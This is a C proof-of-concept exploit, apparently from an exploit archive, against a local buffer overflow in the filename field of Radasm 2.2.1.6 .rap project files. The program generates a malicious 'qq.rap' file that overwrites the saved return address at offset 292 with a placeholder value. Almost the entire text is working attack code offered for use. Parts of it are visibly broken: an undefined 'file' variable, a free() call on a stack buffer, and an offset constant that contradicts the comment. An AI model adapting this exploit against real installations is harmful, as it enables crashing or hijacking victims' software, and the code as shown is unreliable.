Radasm 2.2.1.6 - (.rap ) Local Buffer Overflow PoC

                                                /*Radasm .rap file local buffer overflow POC
 I'll be back in a few hours with the exploit.
 The vuln is in the filename field.
 snip
 [Files]...1=AVP OVERFLOW...
 snip 
*/
#include<stdio.h>
void gen_random(char*,const int);
void print(char*);
unsigned int getFsize(FILE*,char*);
void buildfile(char*);
#define VULNF           "qq.rap"
#define VER             "2.2.1.6"
#define POCNAME         "Radasm .rap file local buffer overflow POC"
#define AUTHOR          "fl0 fl0w"
#define IF(x,NULL)      if(x==NULL)
#define FOR(i,a,b)      for(i=a;i<b;++i)
#define EIPOFFSET       0xDD
#define NUL             '\0'
#define CLEAR(x)        free(x)
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 int main(){
     printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);
     buildfile(VULNF);
     print("DONE!"); 
      getchar();
      return 0;
     }
  void buildfile(char* fname){
    char buffer[100000];
    char eip[]="\x55\x55\x55\x55"; //offset=292 
       gen_random(buffer,5000);
       memcpy(buffer,file,strlen(file));
       memcpy(buffer+292,eip,4);
       FILE* f=fopen(fname,"wb");
       if(f){
           fwrite(buffer,1,1534,f);  
            fclose(f);
             }
          else {
             print("Error in writing file");
              exit(0);  
               }   
           free(buffer);
           free(file);    
         int sz=getFsize(f,fname);  
       printf("[!]File is %d bytes\n",sz);
       }  
  unsigned int getFsize(FILE* g,char* gname)
    {
             unsigned int s;
            
             g=fopen(gname,"rb");
             
             IF(g,NULL)
             {
             print("File error at reading");
             exit(0);
             }            
             fseek(g,0,SEEK_END);
             s=ftell(g);
             
             return s;
    }
      void print(char* msg)
    { 
       printf("[*]%s\n",msg); 
    } 
    void gen_random(char *s, const int len)
    { int i; //helps u find the offsets 
      static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
     
      FOR(i,0,len)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }